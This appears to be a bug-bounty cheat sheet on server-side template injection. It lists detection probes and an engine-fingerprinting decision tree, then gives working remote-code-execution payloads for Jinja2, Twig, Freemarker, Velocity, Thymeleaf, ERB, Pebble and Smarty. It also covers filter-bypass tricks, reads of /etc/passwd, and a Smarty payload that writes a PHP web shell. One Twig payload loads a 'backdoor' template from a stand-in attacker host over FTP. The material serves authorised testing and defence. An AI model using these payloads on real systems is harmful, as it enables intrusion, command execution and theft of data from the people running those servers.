Detection
Universal Test Payloads
TEXT
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)
{{7*'7'}}
${{7*7}}
Expected Output If Vulnerable
TEXT
49 → Expression evaluated
7*7 → No vulnerability (escaped)
Error → Might indicate template engine (read error message)
{{7*7}} → Not processed (no vulnerability)
Engine Fingerprinting
Decision Tree
TEXT
{{7*'7'}}
├── 49 → Twig or Unknown
├── 7777777 → Jinja2
└── Error/49 → Try ${7*7}
├── 49 → Freemarker, Velocity, or Thymeleaf
└── Try <%= 7*7 %>
├── 49 → ERB (Ruby) or EJS
└── Try #{7*7}
└── 49 → Pebble or other
Jinja2 (Python/Flask)
Basic RCE
PYTHON
# Simple command execution
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Alternative
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Using request object (Flask)
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
Shorter Payloads
PYTHON
# Find subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Find subprocess.Popen (usually index varies)
{{ ''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate() }}
# Using lipsum (Flask/Jinja2)
{{ lipsum.__globals__["os"].popen("id").read() }}
{{ lipsum.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Using cycler (Jinja2)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Bypass Techniques
PYTHON
# When . is blocked
{{ lipsum['__globals__']['os']['popen']('id')['read']() }}
# When _ is blocked
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f') }}
{{ lipsum|attr(request.args.a)|attr(request.args.b) }} # Pass via URL params
# When brackets blocked
{{ lipsum.__globals__.os.popen('id').read() }}
# String concatenation
{{ lipsum['__glo'+'bals__']['os']['pop'+'en']('id').read() }}
Filter Bypass
PYTHON
# Using |attr filter
{{ ''|attr('__class__')|attr('__mro__') }}
# Using request object
{{ ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}
Twig (PHP)
Basic RCE
PHP
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 2.x
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('exec')}}
# Twig 1.x
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
File Read
PHP
{{'/etc/passwd'|file_excerpt(1,30)}} # If file_excerpt filter exists
RCE via Object Injection
PHP
{{_self.env.setCache("ftp://attacker.com:21")}}{{_self.env.loadTemplate("backdoor")}}
Freemarker (Java)
RCE
JAVA
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")>
<#assign rt=owc.newInstance()("java.lang.Runtime").getRuntime()>
${rt.exec("id")}
Alternative
JAVA
${"freemarker.template.utility.Execute"?new()("id")}
[#assign cmd = 'freemarker.template.utility.Execute'?new()]${cmd('id')}
Velocity (Java)
RCE
JAVA
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end
Simpler
JAVA
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
Thymeleaf (Java/Spring)
RCE
JAVA
${T(java.lang.Runtime).getRuntime().exec('id')}
// Spring Expression Language (SpEL)
*{T(java.lang.Runtime).getRuntime().exec('id')}
// File path manipulation (preprocessing)
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
URL Parameter Exploitation
TEXT
GET /path?__${T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')}__::.x
ERB (Ruby)
RCE
RUBY
<%= `id` %>
<%= system('id') %>
<%= `cat /etc/passwd` %>
<%= IO.popen('id').read %>
<%= require 'open3'; Open3.capture2('id') %>
File Read
RUBY
<%= File.read('/etc/passwd') %>
<%= File.open('/etc/passwd').read %>
Pebble (Java)
RCE
JAVA
{% set cmd = "id" %}
{% set bytes = ("java.lang.Runtime".getRuntime().exec(cmd).getInputStream()) %}
Smarty (PHP)
RCE
PHP
{php}system('id');{/php} # Old versions
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']); ?>",self::clearConfig())}
{system('id')} # If security disabled
{$smarty.version} # Info leak
Bug Bounty Tips
Where to Look
TEXT
- Email templates (newsletters, notifications)
- PDF generation
- Error pages (sometimes reflect input)
- CMS custom templates
- Site customization features
- Report/invoice generation
- Dynamic headers/footers
- Greeting messages with names
High-Value Targets
TEXT
- Template preview features
- Admin customization panels
- Notification settings
- Document generators
- Email previews
Exploitation Flow
TEXT
1. Detect: {{7*7}} → 49
2. Fingerprint: {{7*'7'}} → 7777777 (Jinja2)
3. Enumerate: {{ config }} / {{ self }}
4. Escalate: Find RCE path
5. Execute: Read sensitive files or run commands
6. Document: Show /etc/passwd or command output
Bypass Checklist
TEXT
□ Try different delimiters (${}, <%=%>, #{})
□ Encode special characters
□ Use |attr filter (Jinja2)
□ Split blocked keywords
□ Use request parameters for blocked chars
□ Try alternative execution methods